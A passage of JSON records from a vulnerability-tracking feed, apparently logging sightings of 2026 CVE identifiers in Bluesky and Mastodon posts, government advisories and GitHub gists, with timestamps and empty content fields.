"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mebf5f6c5c2q", "content": "", "creation_timestamp": "2026-02-07T12:09:24.153458Z"}, {"uuid": "e144d761-34a7-4cc0-aa29-f0074b34c0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24682", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejaer5hvc2v", "content": "", "creation_timestamp": "2026-02-10T15:05:20.139291Z"}, {"uuid": "d98d4f67-6a19-43c8-afa0-32396a3f9f5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2474", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf2wtdnm322s", "content": "", "creation_timestamp": "2026-02-17T16:02:27.301632Z"}, {"uuid": "23a5e3f1-1d16-4a93-b837-9215eefd560a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mf5e4hp5ms2z", "content": "", "creation_timestamp": "2026-02-18T15:05:31.478056Z"}, {"uuid": "3ca7bb50-3c53-40f0-8d56-e419be786df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24683", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejaeydzd62h", "content": "", "creation_timestamp": "2026-02-10T15:05:27.586894Z"}, {"uuid": "511fac63-d6e2-453d-84dd-b6f679319435", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3meshwozvhu25", "content": "", "creation_timestamp": "2026-02-14T07:14:36.015383Z"}, {"uuid": "d9dad932-94de-4326-888a-a824a8ceec65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24352", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfvqzqjzrr2u", "content": "", "creation_timestamp": "2026-02-28T08:00:32.860800Z"}, {"uuid": "079cbf57-7b1e-4384-9e21-554db1b622fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/lobst3r.bsky.social/post/3mejajreznf2e", "content": "", "creation_timestamp": "2026-02-10T15:08:08.101809Z"}, {"uuid": "558c34c6-a17b-4efd-822e-155788a1b5ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24481", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfl2kvocz72n", "content": "", "creation_timestamp": "2026-02-24T01:51:54.483675Z"}, {"uuid": "1c9acbc9-8884-4073-8ea1-6c9f152ca62d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mezje45fzk24", "content": "", "creation_timestamp": "2026-02-17T02:28:37.662217Z"}, {"uuid": "e737ec0b-acf8-4b21-855c-392179b28643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf2xgf4j222x", "content": "", "creation_timestamp": "2026-02-17T16:13:06.175231Z"}, {"uuid": "42f3a646-78b3-4e81-bde7-65f878cbce82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24307", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposicac2e", "content": "", "creation_timestamp": "2026-02-13T04:55:27.288753Z"}, {"uuid": "a1887ade-831f-40ca-9d95-9be4a4e64484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24895", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mezje45fzk24", "content": "", "creation_timestamp": "2026-02-17T02:28:37.741296Z"}, {"uuid": "043d2b65-8521-4933-bdac-4c15f7288253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposicac2e", "content": "", "creation_timestamp": "2026-02-13T04:55:27.426429Z"}, {"uuid": "b0b60e27-e36b-41be-8020-6f2bb18d5f90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposicac2e", "content": "", "creation_timestamp": "2026-02-13T04:55:27.534627Z"}, {"uuid": "93c48cc8-d3ed-4bae-8f50-4b48c4329820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mezjyzmfyc2q", "content": "", "creation_timestamp": "2026-02-17T02:40:19.581074Z"}, {"uuid": "f83829b4-fe63-4da8-ba53-ff52586826ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposicac2e", "content": "", "creation_timestamp": "2026-02-13T04:55:27.622185Z"}, {"uuid": "fabe1e16-c9e1-42a9-a36b-b4977507feb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposicac2e", "content": "", "creation_timestamp": "2026-02-13T04:55:27.710182Z"}, {"uuid": "f89d1762-e5be-4ddc-bbd9-a1129633b8a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2452", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mezl5at2qc2w", "content": "", "creation_timestamp": "2026-02-17T03:00:35.399443Z"}, {"uuid": "66bbc83e-8e23-47dc-8dd9-ced39ae5f33e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2452", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116083735436269267", "content": "", "creation_timestamp": "2026-02-17T03:00:38.578626Z"}, {"uuid": "1da076af-06e8-49c1-90b5-f0dba48b8cea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24677", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejb2woyrq2x", "content": "", "creation_timestamp": "2026-02-10T15:17:44.054403Z"}, {"uuid": "a612b707-e031-4f30-896d-e19db6a2baf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24678", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejbat34yr2g", "content": "", "creation_timestamp": "2026-02-10T15:21:01.703727Z"}, {"uuid": "e8199f2e-3483-4deb-94a6-de83c099e17d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2451", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116084089171982013", "content": "", "creation_timestamp": "2026-02-17T04:30:30.933305Z"}, {"uuid": "c4c601f0-6b0b-4db4-ae8e-f502303e8a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24679", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejbb2c6z52a", "content": "", "creation_timestamp": "2026-02-10T15:21:09.871887Z"}, {"uuid": "6b4fb05d-7e32-46a0-b3cd-99bd5f807cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2451", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mezq64a7zn2w", "content": "", "creation_timestamp": "2026-02-17T04:30:33.088737Z"}, {"uuid": "0fe373bf-ac02-406c-a5a6-1b893eb8e676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mf2yuvj3nf2r", "content": "", "creation_timestamp": "2026-02-17T16:39:07.245124Z"}, {"uuid": "086d72f9-28f1-4b1b-9c7f-8df4347d8f0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfl4mkyssw2o", "content": "", "creation_timestamp": "2026-02-24T02:28:38.115715Z"}, {"uuid": "0febadd6-c20d-44da-af0f-03a20edb8407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24731", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3z2mic5l23", "content": "", "creation_timestamp": "2026-03-02T19:40:10.326135Z"}, {"uuid": "f72a6125-4c31-41f3-aeea-09bf0bc672a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24680", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejbbbtvyp27", "content": "", "creation_timestamp": "2026-02-10T15:21:17.200091Z"}, {"uuid": "ae8d6e39-3872-42b9-b317-6064f3226529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mezqce4b7s2f", "content": "", "creation_timestamp": "2026-02-17T04:32:55.048802Z"}, {"uuid": "812e924b-c75c-4e17-917f-6adb8ddf59fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mf2zyoheee2k", "content": "", "creation_timestamp": "2026-02-17T16:59:07.873458Z"}, {"uuid": "26b2039a-ec7d-4d6d-937d-4777d8c53b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mezrgzgqjk2f", "content": "", "creation_timestamp": "2026-02-17T04:53:25.444935Z"}, {"uuid": "273879b6-5743-4718-b5a3-7ac3150a2263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24681", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejcgheawr2v", "content": "", "creation_timestamp": "2026-02-10T15:42:04.516015Z"}, {"uuid": "70142036-be5c-4c3a-bbcc-52bc117c1882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/Mozilla.activitypub.awakari.com.ap.brid.gy/post/3mf32lgmomkj2", "content": "", "creation_timestamp": "2026-02-17T17:09:37.535525Z"}, {"uuid": "c5c3b6b6-f19b-4d3b-bb99-a924cee83cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2469", "type": "seen", "source": "https://gist.github.com/alon710/d45dbb1daa1ba15aaeff33353e6910aa", "content": "", "creation_timestamp": "2026-02-17T17:10:31.000000Z"}, {"uuid": "c75fe779-ef68-446a-80af-232158543150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24491", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejcgokdxb2x", "content": "", "creation_timestamp": "2026-02-10T15:42:11.756101Z"}, {"uuid": "c4bdf8ca-d1dc-4e40-81af-f22ed646273a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24675", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejcgvlhwv23", "content": "", "creation_timestamp": "2026-02-10T15:42:19.088930Z"}, {"uuid": "7c99d9a5-96f1-47e7-954c-c298191fb220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24307", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposid7k2e", "content": "", "creation_timestamp": "2026-02-13T04:55:32.303951Z"}, {"uuid": "e537ea1a-b926-4d1e-9c66-77cc85332d01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2439", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mf33qf4j5g2c", "content": "", "creation_timestamp": "2026-02-17T17:30:16.896978Z"}, {"uuid": "d6eb94e4-fd86-428d-86fe-afc84f375f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116092462468219250", "content": "", "creation_timestamp": "2026-02-18T15:59:57.247998Z"}, {"uuid": "77001784-8880-4e4c-bd82-5eb0b7c735e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24306", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposid7k2e", "content": "", "creation_timestamp": "2026-02-13T04:55:32.390247Z"}, {"uuid": "9ccb980a-d70c-4e9d-b39f-3ec507a37537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2439", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116087155218143517", "content": "", "creation_timestamp": "2026-02-17T17:30:20.636012Z"}, {"uuid": "3ffc51e8-9ea2-4c36-b0dd-104a59f9d660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mfhhyffffc2s", "content": "", "creation_timestamp": "2026-02-22T15:41:30.939434Z"}, {"uuid": "cab91b5f-6212-4956-8c55-6578ebfde2ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24304", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposid7k2e", "content": "", "creation_timestamp": "2026-02-13T04:55:32.478917Z"}, {"uuid": "83986768-8e9d-4abd-a1df-057fa24cad87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfhi5vxxex2s", "content": "", "creation_timestamp": "2026-02-22T15:44:32.353243Z"}, {"uuid": "8a526051-beb8-4e67-ba8f-578bf6489a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposid7k2e", "content": "", "creation_timestamp": "2026-02-13T04:55:32.562171Z"}, {"uuid": "2d633f33-730b-4e92-8284-5ed0e56c3170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24443", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqt3u3idw2x", "content": "", "creation_timestamp": "2026-02-26T08:54:12.307355Z"}, {"uuid": "f11e4dca-ce5b-4e1b-a102-66a6826d131b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2471", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfvx3dqb2p2v", "content": "", "creation_timestamp": "2026-02-28T09:48:48.542209Z"}, {"uuid": "e33a2243-99bb-457d-8c13-f566b1571930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://bsky.app/profile/yourlamentablefriends.com/post/3mepposid7k2e", "content": "", "creation_timestamp": "2026-02-13T04:55:32.655236Z"}, {"uuid": "c658626d-ac8a-4e5e-b764-4e6774d1cb41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggatrjrsj2l", "content": "", "creation_timestamp": "2026-03-06T21:26:07.584877Z"}, {"uuid": "26c9eee6-bc65-4e1d-a58b-fa6f3498826e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mezvblau3s2f", "content": "", "creation_timestamp": "2026-02-17T06:01:57.198772Z"}, {"uuid": "e31390c5-c7c6-4cbf-a368-a8f1f342940c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mf5j2ugeja2x", "content": "", "creation_timestamp": "2026-02-18T16:34:07.049322Z"}, {"uuid": "2179c13b-90ae-4308-ae05-c2505c7d3e57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mezvbni7ej2c", "content": "", "creation_timestamp": "2026-02-17T06:01:59.575432Z"}, {"uuid": "6e5bb03c-82ef-4607-a570-8276f4cee4f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mf5j6hdght22", "content": "", "creation_timestamp": "2026-02-18T16:36:07.276972Z"}, {"uuid": "f84c7ea4-d21c-4e13-8029-91ccabe3a851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3mf5jhvvhpm2p", "content": "", "creation_timestamp": "2026-02-18T16:41:24.157408Z"}, {"uuid": "d51f1698-8c1f-44d0-9729-71f08ee2375d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24343", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejetxdjpa25", "content": "", "creation_timestamp": "2026-02-10T16:25:24.964832Z"}, {"uuid": "135d48fc-3e35-425d-a5fd-7a57e89b3bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/carteroposter.bsky.social/post/3mf5jimf7a326", "content": "", "creation_timestamp": "2026-02-18T16:41:48.052514Z"}, {"uuid": "62fcd4a5-cec4-4730-9536-854e4aa6ffc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24283", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "cd450e0d-fe63-4a4f-ab8e-137169f06d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24676", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mejeu7667u27", "content": "", "creation_timestamp": "2026-02-10T16:25:33.046110Z"}, {"uuid": "8e0aa30d-d622-436c-b5d1-83612c7c6bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24282", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "537005f4-f35e-4f4b-bcec-e92abf908b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24127", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mdunf4agu22k", "content": "", "creation_timestamp": "2026-02-02T10:32:15.721987Z"}, {"uuid": "9f8f2f3e-b6ab-45a3-bc70-f6b1891c5942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mekglak3qx2w", "content": "", "creation_timestamp": "2026-02-11T02:29:00.744814Z"}, {"uuid": "158e9bc6-8b83-4524-87ec-a2b7674f7da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mf37woqefv2p", "content": "", "creation_timestamp": "2026-02-17T18:45:22.876931Z"}, {"uuid": "301209ee-8a04-46db-bc6f-0b0794bfe751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3mf5kkklyp22d", "content": "", "creation_timestamp": "2026-02-18T17:00:46.883862Z"}, {"uuid": "430b01cd-23e3-4ce9-8e78-d32b8a8736b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/omegahertz.bsky.social/post/3mfnbrxecmk2e", "content": "", "creation_timestamp": "2026-02-24T23:06:29.161848Z"}, {"uuid": "4bd60871-7ee7-46d7-a0c2-c2b2e2163b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/microsoft-edge-security-advisory-av26-143", "content": "", "creation_timestamp": "2026-02-18T15:37:17.000000Z"}, {"uuid": "98694740-0b0d-49a7-ad45-dd7811d88125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0066", "content": "", "creation_timestamp": "2026-02-19T07:29:30.000000Z"}, {"uuid": "6b80301b-8544-4954-a0f2-ade6f910115c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mdzo6chevi2n", "content": "", "creation_timestamp": "2026-02-04T10:29:40.943921Z"}, {"uuid": "b81368b9-19e2-4c5e-ac47-65809ac1bd5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922989", "content": "", "creation_timestamp": "2026-03-04T01:43:20.001454Z"}, {"uuid": "1cc31849-76d5-42c5-8b16-8becf1989a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24288", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "292a4508-ea80-43af-94bc-675477477d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/betterhn20.e-work.xyz/post/3mf5lcb5tsa2e", "content": "", "creation_timestamp": "2026-02-18T17:14:02.025348Z"}, {"uuid": "2a7974b6-f7c5-4970-aa78-3b9944ce0600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/5922993", "content": "", "creation_timestamp": "2026-03-04T01:43:25.528710Z"}, {"uuid": "d2168f6c-8e48-420f-b1d3-764d6618e5c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24897", "type": "seen", "source": "https://gist.github.com/alon710/d39f573efb957757ba7be655034c3074", "content": "", "creation_timestamp": "2026-02-02T12:10:51.000000Z"}, {"uuid": "a6b21046-04bd-47ab-9a2c-2a7a51c4807c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://gist.github.com/alon710/ed0e15331ceeda338210a5165cad7408", "content": "", "creation_timestamp": "2026-02-04T11:20:05.000000Z"}, {"uuid": 